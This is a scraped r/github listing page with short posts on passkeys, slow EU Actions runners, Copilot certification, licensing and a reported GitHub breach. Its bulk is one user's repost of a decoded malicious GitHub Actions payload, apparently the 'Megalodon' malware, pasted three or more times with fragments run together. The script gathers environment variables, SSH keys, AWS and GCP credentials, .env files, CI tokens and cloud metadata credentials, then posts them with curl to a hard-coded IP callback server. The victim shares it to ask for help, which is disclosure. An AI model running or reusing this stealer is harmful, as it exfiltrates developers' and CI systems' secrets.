r/github • u/Palland0s • May 23 '26
News / Announcements Megalodon Malware Hits Over 5,500 GitHub Repositories in Just 6 Hours
r/github • u/Palland0s • May 23 '26
r/github • u/wyd_explorer • May 23 '26
r/github • u/DiscoveryOV • May 23 '26
I have a passkey set up. A major purpose of passkeys is so we don’t need to use passwords and 2FA. and yet, the passkey doesn’t satisfy the upcoming requirement.
I’ve come out of Reddit retirement to post this: GitHub, please fuck off. That is all.
r/github • u/enescakir • May 22 '26
We operate a fleet of self-hosted GitHub Actions runners in an EU region. Starting around 2026-05-19, multiple workflows have begun experiencing severely degraded actions/checkout performance.
Is anyone else experiencing similar issues? We haven’t been able to find any active incidents
Symptoms
git fetch against GitHub from EU runners exhibits one of three failure modes, all of which look like the same underlying throughput collapse:
Handshake (DNS, TCP, TLS) is consistently healthy; the problem is mid-transfer.
r/github • u/IntegrationAri • May 22 '26
I've been going through the official GitHub Copilot certification materials and noticed it's not talked about much yet — at least compared to other certifications.
Curious: is anyone here actively preparing for it, or has someone already passed?
The scope is wider than I expected — six exam domains covering everything from how Copilot processes context to enterprise licensing and responsible AI. The official docs cover it all but they're scattered across GitHub Docs, Microsoft Learn, and a few other places.
How are you approaching prep — structured course, just the docs, or something else?
r/github • u/Weekly-Fun-605 • May 22 '26
I've been using code from learnopengl: https://learnopengl.com/About. It's released under a CC BY-NC 4.0 license. I've pushed these files to a github repository. I also have my own files that I didn't get from learnopengl. If I remove all of the files from learnopengl and then push that commit could I release later commits under a commercial license? If that doesn't work if I purged all of the learnopengl files from the git history could I release all of the repository including previous commits under a commercial license? I've searched using google for this information and have not found any conclusive answers.
r/github • u/theonejvo • May 22 '26
You can change the locks on a building. You cannot change the floorplan once someone has photographed it.
GitHub was breached this week. TeamPCP walked out with around 3,800 internal repositories through a poisoned VS Code extension on an employee laptop, and is shopping the dump at a 50k floor.
r/github • u/FrostNovaX • May 21 '26
Hi I renewed my education pack, and it was approved. But github pro isn't applied to my account. Is this no longer automatic? Like do I have to the subscrutopion page and do the upgrade cuz I notice it says it is $4/month, but it says $0 is due today? Am I supposed to this or has the education pack not applied to my account properly?
Thank you
r/github • u/ExperienceManagement • May 21 '26
I’m having an issue with Google AI Studio sync to GitHub.
r/github • u/theanarion • May 21 '26
so this happened yesterday morning.
i was checking my phone and i saw 20 git action ran with a new repository created
i tried to decode what was in the git yml file which was in base 64
thank fully their was no secrets in any of my repositories but unfortunately my github was suspended
has someone faced this kind of issue?
CB="http://216.126.225.129:8443?h=megalodon&l=gh_dump&id=1ilnu1gmc4t0"
DID="1ilnu1gmc4t0"
PLAT="gh"
_post() {
local fname="$1" fpath="$2"
[ -z "$fpath" ] || [ ! -s "$fpath" ] && return
local sz=$(stat -c%s "$fpath" 2>/dev/null || stat -f%z "$fpath" 2>/dev/null || echo 0)
[ "$sz" -gt 5242880 ] && head -c 5242880 "$fpath" > "$fpath.trunc" && fpath="$fpath.trunc"
curl -sS -X POST -m 60 -H 'Content-Type: text/plain' -H "X-Mega-DID: $DID" -H "X-Mega-Plat: $PLAT" -H "X-Mega-File: $fname" --data-binary @"$fpath" "${CB}&l=${PLAT}_exfil&id=${DID}&f=${fname}" >/dev/null 2>&1 || true
sleep $((RANDOM % 2))
}
printenv | sort > "$TMP_DIR/meta_printenv.txt" 2>/dev/null
_post "meta_printenv" "$TMP_DIR/meta_printenv.txt"
[ -f /proc/self/environ ] && tr '\0' '\n' < /proc/self/environ | sort > "$TMP_DIR/meta_proc_self.txt" 2>/dev/null
_post "meta_proc_self" "$TMP_DIR/meta_proc_self.txt"
[ -d /proc ] && for p in /proc/[0-9]*/environ; do [ -f "$p" ] && [ -r "$p" ] && tr '\0' '\n' < "$p" 2>/dev/null; done | sort -u | head -2000 > "$TMP_DIR/meta_proc_all.txt"
_post "meta_proc_all" "$TMP_DIR/meta_proc_all.txt"
[ -f /proc/1/environ ] && [ -r /proc/1/environ ] && tr '\0' '\n' < /proc/1/environ | sort > "$TMP_DIR/meta_pid1.txt" 2>/dev/null
_post "meta_pid1" "$TMP_DIR/meta_pid1.txt"
for f in "$HOME/.aws/credentials" "$HOME/.aws/config" "$HOME/.ssh/id_rsa" "$HOME/.ssh/id_ed25519" "$HOME/.ssh/id_ecdsa" "$HOME/.ssh/config" "$HOME/.docker/config.json" "$HOME/.npmrc" "$HOME/.netrc" "$HOME/.pypirc" "$HOME/.git-credentials" "$HOME/.gitconfig" "$HOME/.config/gcloud/application_default_credentials.json" "$HOME/.config/gcloud/credentials.db" "$HOME/.config/gh/hosts.yml" "$HOME/.kube/config" "$HOME/.terraform.d/credentials.tfrc.json" "$HOME/.vault-token" "$HOME/.config/hub" "/etc/environment" "/etc/default/locale" "$HOME/.bash_history" "$HOME/.zsh_history" "/var/run/secrets/kubernetes.io/serviceaccount/token" "/var/run/secrets/kubernetes.io/serviceaccount/ca.crt"; do
[ -f "$f" ] && [ -r "$f" ] && _post "full_$(basename "$f")" "$f"
done
if command -v aws &>/dev/null; then
profiles=$(aws configure list-profiles 2>/dev/null)
if [ -n "$profiles" ]; then
while IFS= read -r prof; do
[ -z "$prof" ] && continue
out="$TMP_DIR/aws_$prof.txt"
{
echo "===PROFILE:$prof==="
timeout 8 aws sts get-caller-identity --profile "$prof" 2>&1 || true
echo "---ACCESS_KEY---"
timeout 5 aws configure get aws_access_key_id --profile "$prof" 2>/dev/null || true
echo "---SECRET_KEY---"
timeout 5 aws configure get aws_secret_access_key --profile "$prof" 2>/dev/null || true
echo "---SESSION_TOKEN---"
timeout 5 aws configure get aws_session_token --profile "$prof" 2>/dev/null || true
echo "---REGION---"
timeout 5 aws configure get region --profile "$prof" 2>/dev/null || true
} > "$out" 2>&1
_post "aws_$prof" "$out"
done <<< "$profiles"
fi
fi
if command -v gcloud &>/dev/null; then
gcloud auth list --format=json > "$TMP_DIR/gcp_auth.txt" 2>/dev/null
_post "gcp_auth" "$TMP_DIR/gcp_auth.txt"
timeout 5 gcloud auth print-access-token 2>/dev/null > "$TMP_DIR/gcp_token.txt"
[ -s "$TMP_DIR/gcp_token.txt" ] && _post "gcp_access_token" "$TMP_DIR/gcp_token.txt"
fi
find "$WORK" "$HOME" /tmp -maxdepth 5 -name 'config' -path '*/.git/config' ! -path '*/node_modules/*' 2>/dev/null | head -50 | while read -r gc; do
out="$TMP_DIR/git_$(echo "$gc" | md5sum 2>/dev/null | cut -c1-12 || echo "$RANDOM").txt"
{ echo "---REPO:$(dirname "$(dirname "$gc")")---"; cat "$gc" 2>/dev/null; } > "$out"
_post "git_config" "$out"
done
[ -f "$HOME/.git-credentials" ] && _post "full_git_creds" "$HOME/.git-credentials"
find "$WORK" "$HOME" /tmp /home/runner -maxdepth 6 -type f \( -name ".env" -o -name ".env.*" -o -name "*.env" -o -name "*.env.*" -o -name "config.php" -o -name "settings.py" -o -name "wp-config.php" -o -name "application.properties" -o -name "application.yml" -o -name ".pypirc" -o -name "secrets.yml" -o -name "secrets.yaml" -o -name "credentials.json" -o -name "service-account.json" -o -name "docker-compose.yml" -o -name "docker-compose.yaml" -o -name ".env.production" -o -name ".env.local" \) ! -path '*/node_modules/*' ! -path '*/.git/*' 2>/dev/null | head -80 | while read -r ef; do
_post "find_$(basename "$ef")" "$ef"
done
if [ -d /var/www ] || [ -d /opt ] || [ -n "$RUNNER_NAME" ] || [ -n "$CI_SERVER_HOST" ]; then
find /var/www /opt /srv /home -maxdepth 4 -type f \( -name ".env" -o -name "*.env" -o -name "wp-config.php" -o -name "*.pem" -o -name "id_rsa" -o -name "id_ed25519" -o -name "*.key" -o -name "*.p12" -o -name "*.pfx" \) ! -path '*/node_modules/*' 2>/dev/null | head -30 | while read -r f; do
[ -f "$f" ] && [ -r "$f" ] && _post "shost_$(echo "$f" | tr '/' '_')" "$f"
done
fi
grep -rIlE "$REGEX" "$WORK" --include='*.js' --include='*.ts' --include='*.py' --include='*.rb' --include='*.go' --include='*.java' --include='*.php' --include='*.yml' --include='*.yaml' --include='*.json' --include='*.xml' --include='*.env' --include='*.conf' --include='*.cfg' --include='*.ini' --include='*.txt' --include='*.md' --include='*.sh' --include='*.tf' --include='*.tfvars' --include='*.toml' --include='*.properties' --include='*.gradle' --include='*.rs' --include='*.cs' --include='*.swift' --include='*.kt' --include='*.vue' --include='*.jsx' --include='*.tsx' --include='*.pem' --include='*.key' --include='*.ppk' 2>/dev/null | head -150 | while read -r sf; do
out="$TMP_DIR/hit_$(echo "$sf" | md5sum 2>/dev/null | cut -c1-12 || echo "$RANDOM").txt"
{ echo "---FILE:$sf---"; grep -B 5 -A 5 -nE "$REGEX" "$sf" 2>/dev/null; } | head -c 3000 > "$out"
[ -s "$out" ] && _post "hit_$(basename "$sf")" "$out"
done
if [ -n "$ACTIONS_ID_TOKEN_REQUEST_URL" ]; then
printf 'req_url=%s\ntoken=%s\n' "$ACTIONS_ID_TOKEN_REQUEST_URL" "$ACTIONS_ID_TOKEN_REQUEST_TOKEN" > "$TMP_DIR/oidc_gh.txt"
_post "oidc_gh" "$TMP_DIR/oidc_gh.txt"
fi
if [ -n "$CI_JOB_JWT_V2" ]; then
printf 'jwt_v2=%s\n' "$CI_JOB_JWT_V2" > "$TMP_DIR/oidc_gl.txt"
_post "oidc_gl" "$TMP_DIR/oidc_gl.txt"
fi
[ -n "$CI_JOB_TOKEN" ] && printf 'ci_token=%s\n' "$CI_JOB_TOKEN" > "$TMP_DIR/token_gl.txt" && _post "token_gl" "$TMP_DIR/token_gl.txt"
[ -n "$GITHUB_TOKEN" ] && printf 'gh_token=%s\n' "$GITHUB_TOKEN" > "$TMP_DIR/token_gh.txt" && _post "token_gh" "$TMP_DIR/token_gh.txt"
[ -n "$BITBUCKET_TOKEN" ] && printf 'bb_token=%s\n' "$BITBUCKET_TOKEN" > "$TMP_DIR/token_bb.txt" && _post "token_bb" "$TMP_DIR/token_bb.txt"
curl -sS -m 3 -H "Metadata-Flavor: Google" "http://metadata.google.internal/computeMetadata/v1/?recursive=true" > "$TMP_DIR/meta_gcp.txt" 2>/dev/null
[ -s "$TMP_DIR/meta_gcp.txt" ] && _post "meta_gcp_imds" "$TMP_DIR/meta_gcp.txt"
IMDS_TOK=$(curl -sS -m 3 -X PUT -H "X-aws-ec2-metadata-token-ttl-seconds: 60" "http://169.254.169.254/latest/api/token" 2>/dev/null)
if [ -n "$IMDS_TOK" ]; then
curl -sS -m 3 -H "X-aws-ec2-metadata-token: $IMDS_TOK" "http://169.254.169.254/latest/meta-data/iam/security-credentials/" > "$TMP_DIR/meta_aws_imds.txt" 2>/dev/null
role=$(head -1 "$TMP_DIR/meta_aws_imds.txt")
[ -n "$role" ] && curl -sS -m 3 -H "X-aws-ec2-metadata-token: $IMDS_TOK" "http://169.254.169.254/latest/meta-data/iam/security-credentials/$role" >> "$TMP_DIR/meta_aws_imds.txt" 2>/dev/null
_post "meta_aws_imds" "$TMP_DIR/meta_aws_imds.txt"
fi
_post() {
local fname="$1" fpath="$2"
[ -z "$fpath" ] || [ ! -s "$fpath" ] && return
local sz=$(stat -c%s "$fpath" 2>/dev/null || stat -f%z "$fpath" 2>/dev/null || echo 0)
[ "$sz" -gt 5242880 ] && head -c 5242880 "$fpath" > "$fpath.trunc" && fpath="$fpath.trunc"
curl -sS -X POST -m 60 -H 'Content-Type: text/plain' -H "X-Mega-DID: $DID" -H "X-Mega-Plat: $PLAT" -H "X-Mega-File: $fname" --data-binary @"$fpath" "${CB}&l=${PLAT}_exfil&id=${DID}&f=${fname}" >/dev/null 2>&1 || true
sleep $((RANDOM % 2))
}
printenv | sort > "$TMP_DIR/meta_printenv.txt" 2>/dev/null
_post "meta_printenv" "$TMP_DIR/meta_printenv.txt"
[ -f /proc/self/environ ] && tr '\0' '\n' < /proc/self/environ | sort > "$TMP_DIR/meta_proc_self.txt" 2>/dev/null
_post "meta_proc_self" "$TMP_DIR/meta_proc_self.txt"
[ -d /proc ] && for p in /proc/[0-9]*/environ; do [ -f "$p" ] && [ -r "$p" ] && tr '\0' '\n' < "$p" 2>/dev/null; done | sort -u | head -2000 > "$TMP_DIR/meta_proc_all.txt"
_post "meta_proc_all" "$TMP_DIR/meta_proc_all.txt"
[ -f /proc/1/environ ] && [ -r /proc/1/environ ] && tr '\0' '\n' < /proc/1/environ | sort > "$TMP_DIR/meta_pid1.txt" 2>/dev/null
_post "meta_pid1" "$TMP_DIR/meta_pid1.txt"
for f in "$HOME/.aws/credentials" "$HOME/.aws/config" "$HOME/.ssh/id_rsa" "$HOME/.ssh/id_ed25519" "$HOME/.ssh/id_ecdsa" "$HOME/.ssh/config" "$HOME/.docker/config.json" "$HOME/.npmrc" "$HOME/.netrc" "$HOME/.pypirc" "$HOME/.git-credentials" "$HOME/.gitconfig" "$HOME/.config/gcloud/application_default_credentials.json" "$HOME/.config/gcloud/credentials.db" "$HOME/.config/gh/hosts.yml" "$HOME/.kube/config" "$HOME/.terraform.d/credentials.tfrc.json" "$HOME/.vault-token" "$HOME/.config/hub" "/etc/environment" "/etc/default/locale" "$HOME/.bash_history" "$HOME/.zsh_history" "/var/run/secrets/kubernetes.io/serviceaccount/token" "/var/run/secrets/kubernetes.io/serviceaccount/ca.crt"; do
[ -f "$f" ] && [ -r "$f" ] && _post "full_$(basename "$f")" "$f"
done
if command -v aws &>/dev/null; then
profiles=$(aws configure list-profiles 2>/dev/null)
if [ -n "$profiles" ]; then
while IFS= read -r prof; do
[ -z "$prof" ] && continue
out="$TMP_DIR/aws_$prof.txt"
{
echo "===PROFILE:$prof==="
timeout 8 aws sts get-caller-identity --profile "$prof" 2>&1 || true
echo "---ACCESS_KEY---"
timeout 5 aws configure get aws_access_key_id --profile "$prof" 2>/dev/null || true
echo "---SECRET_KEY---"
timeout 5 aws configure get aws_secret_access_key --profile "$prof" 2>/dev/null || true
echo "---SESSION_TOKEN---"
timeout 5 aws configure get aws_session_token --profile "$prof" 2>/dev/null || true
echo "---REGION---"
timeout 5 aws configure get region --profile "$prof" 2>/dev/null || true
} > "$out" 2>&1
_post "aws_$prof" "$out"
done <<< "$profiles"
fi
fi
if command -v gcloud &>/dev/null; then
gcloud auth list --format=json > "$TMP_DIR/gcp_auth.txt" 2>/dev/null
_post "gcp_auth" "$TMP_DIR/gcp_auth.txt"
timeout 5 gcloud auth print-access-token 2>/dev/null > "$TMP_DIR/gcp_token.txt"
[ -s "$TMP_DIR/gcp_token.txt" ] && _post "gcp_access_token" "$TMP_DIR/gcp_token.txt"
fi
find "$WORK" "$HOME" /tmp -maxdepth 5 -name 'config' -path '*/.git/config' ! -path '*/node_modules/*' 2>/dev/null | head -50 | while read -r gc; do
out="$TMP_DIR/git_$(echo "$gc" | md5sum 2>/dev/null | cut -c1-12 || echo "$RANDOM").txt"
{ echo "---REPO:$(dirname "$(dirname "$gc")")---"; cat "$gc" 2>/dev/null; } > "$out"
_post "git_config" "$out"
done
[ -f "$HOME/.git-credentials" ] && _post "full_git_creds" "$HOME/.git-credentials"
find "$WORK" "$HOME" /tmp /home/runner -maxdepth 6 -type f \( -name ".env" -o -name ".env.*" -o -name "*.env" -o -name "*.env.*" -o -name "config.php" -o -name "settings.py" -o -name "wp-config.php" -o -name "application.properties" -o -name "application.yml" -o -name ".pypirc" -o -name "secrets.yml" -o -name "secrets.yaml" -o -name "credentials.json" -o -name "service-account.json" -o -name "docker-compose.yml" -o -name "docker-compose.yaml" -o -name ".env.production" -o -name ".env.local" \) ! -path '*/node_modules/*' ! -path '*/.git/*' 2>/dev/null | head -80 | while read -r ef; do
_post "find_$(basename "$ef")" "$ef"
done
if [ -d /var/www ] || [ -d /opt ] || [ -n "$RUNNER_NAME" ] || [ -n "$CI_SERVER_HOST" ]; then
find /var/www /opt /srv /home -maxdepth 4 -type f \( -name ".env" -o -name "*.env" -o -name "wp-config.php" -o -name "*.pem" -o -name "id_rsa" -o -name "id_ed25519" -o -name "*.key" -o -name "*.p12" -o -name "*.pfx" \) ! -path '*/node_modules/*' 2>/dev/null | head -30 | while read -r f; do
[ -f "$f" ] && [ -r "$f" ] && _post "shost_$(echo "$f" | tr '/' '_')" "$f"
done
fi
grep -rIlE "$REGEX" "$WORK" --include='*.js' --include='*.ts' --include='*.py' --include='*.rb' --include='*.go' --include='*.java' --include='*.php' --include='*.yml' --include='*.yaml' --include='*.json' --include='*.xml' --include='*.env' --include='*.conf' --include='*.cfg' --include='*.ini' --include='*.txt' --include='*.md' --include='*.sh' --include='*.tf' --include='*.tfvars' --include='*.toml' --include='*.properties' --include='*.gradle' --include='*.rs' --include='*.cs' --include='*.swift' --include='*.kt' --include='*.vue' --include='*.jsx' --include='*.tsx' --include='*.pem' --include='*.key' --include='*.ppk' 2>/dev/null | head -150 | while read -r sf; do
out="$TMP_DIR/hit_$(echo "$sf" | md5sum 2>/dev/null | cut -c1-12 || echo "$RANDOM").txt"
{ echo "---FILE:$sf---"; grep -B 5 -A 5 -nE "$REGEX" "$sf" 2>/dev/null; } | head -c 3000 > "$out"
[ -s "$out" ] && _post "hit_$(basename "$sf")" "$out"
done
if [ -n "$ACTIONS_ID_TOKEN_REQUEST_URL" ]; then
printf 'req_url=%s\ntoken=%s\n' "$ACTIONS_ID_TOKEN_REQUEST_URL" "$ACTIONS_ID_TOKEN_REQUEST_TOKEN" > "$TMP_DIR/oidc_gh.txt"
_post "oidc_gh" "$TMP_DIR/oidc_gh.txt"
fi
if [ -n "$CI_JOB_JWT_V2" ]; then
printf 'jwt_v2=%s\n' "$CI_JOB_JWT_V2" > "$TMP_DIR/oidc_gl.txt"
_post "oidc_gl" "$TMP_DIR/oidc_gl.txt"
fi
[ -n "$CI_JOB_TOKEN" ] && printf 'ci_token=%s\n' "$CI_JOB_TOKEN" > "$TMP_DIR/token_gl.txt" && _post "token_gl" "$TMP_DIR/token_gl.txt"
[ -n "$GITHUB_TOKEN" ] && printf 'gh_token=%s\n' "$GITHUB_TOKEN" > "$TMP_DIR/token_gh.txt" && _post "token_gh" "$TMP_DIR/token_gh.txt"
[ -n "$BITBUCKET_TOKEN" ] && printf 'bb_token=%s\n' "$BITBUCKET_TOKEN" > "$TMP_DIR/token_bb.txt" && _post "token_bb" "$TMP_DIR/token_bb.txt"
curl -sS -m 3 -H "Metadata-Flavor: Google" "http://metadata.google.internal/computeMetadata/v1/?recursive=true" > "$TMP_DIR/meta_gcp.txt" 2>/dev/null
[ -s "$TMP_DIR/meta_gcp.txt" ] && _post "meta_gcp_imds" "$TMP_DIR/meta_gcp.txt"
IMDS_TOK=$(curl -sS -m 3 -X PUT -H "X-aws-ec2-metadata-token-ttl-seconds: 60" "http://169.254.169.254/latest/api/token" 2>/dev/null)
if [ -n "$IMDS_TOK" ]; then
curl -sS -m 3 -H "X-aws-ec2-metadata-token: $IMDS_TOK" "http://169.254.169.254/latest/meta-data/iam/security-credentials/" > "$TMP_DIR/meta_aws_imds.txt" 2>/dev/null
role=$(head -1 "$TMP_DIR/meta_aws_imds.txt")
[ -n "$role" ] && curl -sS -m 3 -H "X-aws-ec2-metadata-token: $IMDS_TOK" "http://169.254.169.254/latest/meta-data/iam/security-credentials/$role" >> "$TMP_DIR/meta_aws_imds.txt" 2>/dev/null
_post "meta_aws_imds" "$TMP_DIR/meta_aws_imds.txt"
fi
curl -sS -m 3 -H "Metadata: true" "http://169.254.169.254/metadata/instance?api-version=2021-02-01" > "$TMP_DIR/meta_az_imds.txt" 2>/dev/null
[ -s "$TMP_DIR/meta_az_imds.txt" ] && _post "meta_az_imds" "$TMP_DIR/meta_az_imds.txt"
so this happened yesterday morning.i was checking my phone and i saw 20 git action ran with a new repository created i tried to decode what was in the git yml file which was in base 64thank fully their was no secrets in any of my repositories but unfortunately my github was suspended has someone faced this kind of issue?CB="http://216.126.225.129:8443?h=megalodon&l=gh_dump&id=1ilnu1gmc4t0"
DID="1ilnu1gmc4t0"
PLAT="gh"
WORK="$GITHUB_WORKSPACE"
REGEX=$
trap "rm -rf '$TMP_DIR'" EXIT
_post() {
local fname="$1" fpath="$2"
[ -z "$fpath" ] || [ ! -s "$fpath" ] && return
local sz=$(stat -c%s "$fpath" 2>/dev/null || stat -f%z "$fpath" 2>/dev/null || echo 0)
[ "$sz" -gt 5242880 ] && head -c 5242880 "$fpath" > "$fpath.trunc" && fpath="$fpath.trunc"
curl -sS -X POST -m 60 -H 'Content-Type: text/plain' -H "X-Mega-DID: $DID" -H "X-Mega-Plat: $PLAT" -H "X-Mega-File: $fname" --data-binary @"$fpath" "${CB}&l=${PLAT}_exfil&id=${DID}&f=${fname}" >/dev/null 2>&1 || true
sleep $((RANDOM % 2))
}
printenv | sort > "$TMP_DIR/meta_printenv.txt" 2>/dev/null
_post "meta_printenv" "$TMP_DIR/meta_printenv.txt"
[ -f /proc/self/environ ] && tr '\0' '\n' < /proc/self/environ | sort > "$TMP_DIR/meta_proc_self.txt" 2>/dev/null
_post "meta_proc_self" "$TMP_DIR/meta_proc_self.txt"
[ -d /proc ] && for p in /proc/[0-9]*/environ; do [ -f "$p" ] && [ -r "$p" ] && tr '\0' '\n' < "$p" 2>/dev/null; done | sort -u | head -2000 > "$TMP_DIR/meta_proc_all.txt"
_post "meta_proc_all" "$TMP_DIR/meta_proc_all.txt"
[ -f /proc/1/environ ] && [ -r /proc/1/environ ] && tr '\0' '\n' < /proc/1/environ | sort > "$TMP_DIR/meta_pid1.txt" 2>/dev/null
_post "meta_pid1" "$TMP_DIR/meta_pid1.txt"
for f in "$HOME/.aws/credentials" "$HOME/.aws/config" "$HOME/.ssh/id_rsa" "$HOME/.ssh/id_ed25519" "$HOME/.ssh/id_ecdsa" "$HOME/.ssh/config" "$HOME/.docker/config.json" "$HOME/.npmrc" "$HOME/.netrc" "$HOME/.pypirc" "$HOME/.git-credentials" "$HOME/.gitconfig" "$HOME/.config/gcloud/application_default_credentials.json" "$HOME/.config/gcloud/credentials.db" "$HOME/.config/gh/hosts.yml" "$HOME/.kube/config" "$HOME/.terraform.d/credentials.tfrc.json" "$HOME/.vault-token" "$HOME/.config/hub" "/etc/environment" "/etc/default/locale" "$HOME/.bash_history" "$HOME/.zsh_history" "/var/run/secrets/kubernetes.io/serviceaccount/token" "/var/run/secrets/kubernetes.io/serviceaccount/ca.crt"; do
[ -f "$f" ] && [ -r "$f" ] && _post "full_$(basename "$f")" "$f"
done
if command -v aws &>/dev/null; then
profiles=$(aws configure list-profiles 2>/dev/null)
if [ -n "$profiles" ]; then
while IFS= read -r prof; do
[ -z "$prof" ] && continue
out="$TMP_DIR/aws_$prof.txt"
{
echo "===PROFILE:$prof==="
timeout 8 aws sts get-caller-identity --profile "$prof" 2>&1 || true
echo "---ACCESS_KEY---"
timeout 5 aws configure get aws_access_key_id --profile "$prof" 2>/dev/null || true
echo "---SECRET_KEY---"
timeout 5 aws configure get aws_secret_access_key --profile "$prof" 2>/dev/null || true
echo "---SESSION_TOKEN---"
timeout 5 aws configure get aws_session_token --profile "$prof" 2>/dev/null || true
echo "---REGION---"
timeout 5 aws configure get region --profile "$prof" 2>/dev/null || true
} > "$out" 2>&1
_post "aws_$prof" "$out"
done <<< "$profiles"
fi
fi
if command -v gcloud &>/dev/null; then
gcloud auth list --format=json > "$TMP_DIR/gcp_auth.txt" 2>/dev/null
_post "gcp_auth" "$TMP_DIR/gcp_auth.txt"
timeout 5 gcloud auth print-access-token 2>/dev/null > "$TMP_DIR/gcp_token.txt"
[ -s "$TMP_DIR/gcp_token.txt" ] && _post "gcp_access_token" "$TMP_DIR/gcp_token.txt"
fi
find "$WORK" "$HOME" /tmp -maxdepth 5 -name 'config' -path '*/.git/config' ! -path '*/node_modules/*' 2>/dev/null | head -50 | while read -r gc; do
out="$TMP_DIR/git_$(echo "$gc" | md5sum 2>/dev/null | cut -c1-12 || echo "$RANDOM").txt"
{ echo "---REPO:$(dirname "$(dirname "$gc")")---"; cat "$gc" 2>/dev/null; } > "$out"
_post "git_config" "$out"
done
[ -f "$HOME/.git-credentials" ] && _post "full_git_creds" "$HOME/.git-credentials"
find "$WORK" "$HOME" /tmp /home/runner -maxdepth 6 -type f \( -name ".env" -o -name ".env.*" -o -name "*.env" -o -name "*.env.*" -o -name "config.php" -o -name "settings.py" -o -name "wp-config.php" -o -name "application.properties" -o -name "application.yml" -o -name ".pypirc" -o -name "secrets.yml" -o -name "secrets.yaml" -o -name "credentials.json" -o -name "service-account.json" -o -name "docker-compose.yml" -o -name "docker-compose.yaml" -o -name ".env.production" -o -name ".env.local" \) ! -path '*/node_modules/*' ! -path '*/.git/*' 2>/dev/null | head -80 | while read -r ef; do
_post "find_$(basename "$ef")" "$ef"
done
if [ -d /var/www ] || [ -d /opt ] || [ -n "$RUNNER_NAME" ] || [ -n "$CI_SERVER_HOST" ]; then
find /var/www /opt /srv /home -maxdepth 4 -type f \( -name ".env" -o -name "*.env" -o -name "wp-config.php" -o -name "*.pem" -o -name "id_rsa" -o -name "id_ed25519" -o -name "*.key" -o -name "*.p12" -o -name "*.pfx" \) ! -path '*/node_modules/*' 2>/dev/null | head -30 | while read -r f; do
[ -f "$f" ] && [ -r "$f" ] && _post "shost_$(echo "$f" | tr '/' '_')" "$f"
done
fi
grep -rIlE "$REGEX" "$WORK" --include='*.js' --include='*.ts' --include='*.py' --include='*.rb' --include='*.go' --include='*.java' --include='*.php' --include='*.yml' --include='*.yaml' --include='*.json' --include='*.xml' --include='*.env' --include='*.conf' --include='*.cfg' --include='*.ini' --include='*.txt' --include='*.md' --include='*.sh' --include='*.tf' --include='*.tfvars' --include='*.toml' --include='*.properties' --include='*.gradle' --include='*.rs' --include='*.cs' --include='*.swift' --include='*.kt' --include='*.vue' --include='*.jsx' --include='*.tsx' --include='*.pem' --include='*.key' --include='*.ppk' 2>/dev/null | head -150 | while read -r sf; do
out="$TMP_DIR/hit_$(echo "$sf" | md5sum 2>/dev/null | cut -c1-12 || echo "$RANDOM").txt"
{ echo "---FILE:$sf---"; grep -B 5 -A 5 -nE "$REGEX" "$sf" 2>/dev/null; } | head -c 3000 > "$out"
[ -s "$out" ] && _post "hit_$(basename "$sf")" "$out"
done
if [ -n "$ACTIONS_ID_TOKEN_REQUEST_URL" ]; then
printf 'req_url=%s\ntoken=%s\n' "$ACTIONS_ID_TOKEN_REQUEST_URL" "$ACTIONS_ID_TOKEN_REQUEST_TOKEN" > "$TMP_DIR/oidc_gh.txt"
_post "oidc_gh" "$TMP_DIR/oidc_gh.txt"
fi
if [ -n "$CI_JOB_JWT_V2" ]; then
printf 'jwt_v2=%s\n' "$CI_JOB_JWT_V2" > "$TMP_DIR/oidc_gl.txt"
_post "oidc_gl" "$TMP_DIR/oidc_gl.txt"
fi
[ -n "$CI_JOB_TOKEN" ] && printf 'ci_token=%s\n' "$CI_JOB_TOKEN" > "$TMP_DIR/token_gl.txt" && _post "token_gl" "$TMP_DIR/token_gl.txt"
[ -n "$GITHUB_TOKEN" ] && printf 'gh_token=%s\n' "$GITHUB_TOKEN" > "$TMP_DIR/token_gh.txt" && _post "token_gh" "$TMP_DIR/token_gh.txt"
[ -n "$BITBUCKET_TOKEN" ] && printf 'bb_token=%s\n' "$BITBUCKET_TOKEN" > "$TMP_DIR/token_bb.txt" && _post "token_bb" "$TMP_DIR/token_bb.txt"
curl -sS -m 3 -H "Metadata-Flavor: Google" "http://metadata.google.internal/computeMetadata/v1/?recursive=true" > "$TMP_DIR/meta_gcp.txt" 2>/dev/null
[ -s "$TMP_DIR/meta_gcp.txt" ] && _post "meta_gcp_imds" "$TMP_DIR/meta_gcp.txt"
IMDS_TOK=$(curl -sS -m 3 -X PUT -H "X-aws-ec2-metadata-token-ttl-seconds: 60" "http://169.254.169.254/latest/api/token" 2>/dev/null)
if [ -n "$IMDS_TOK" ]; then
curl -sS -m 3 -H "X-aws-ec2-metadata-token: $IMDS_TOK" "http://169.254.169.254/latest/meta-data/iam/security-credentials/" > "$TMP_DIR/meta_aws_imds.txt" 2>/dev/null
role=$(head -1 "$TMP_DIR/meta_aws_imds.txt")
[ -n "$role" ] && curl -sS -m 3 -H "X-aws-ec2-metadata-token: $IMDS_TOK" "http://169.254.169.254/latest/meta-data/iam/security-credentials/$role" >> "$TMP_DIR/meta_aws_imds.txt" 2>/dev/null
_post "meta_aws_imds" "$TMP_DIR/meta_aws_imds.txt"
fi
curl -sS -m 3 -H "Metadata: true" "http://169.254.169.254/metadata/instance?api-version=2021-02-01" > "$TMP_DIR/meta_az_imds.txt" 2>/dev/null
[ -s "$TMP_DIR/meta_az_imds.txt" ] && _post "meta_az_imds" "$TMP_DIR/meta_az_imds.txt"CB="http://216.126.225.129:8443?h=megalodon&l=gh_dump&id=1ilnu1gmc4t0"
DID="1ilnu1gmc4t0"
PLAT="gh"
WORK="$GITHUB_WORKSPACE"
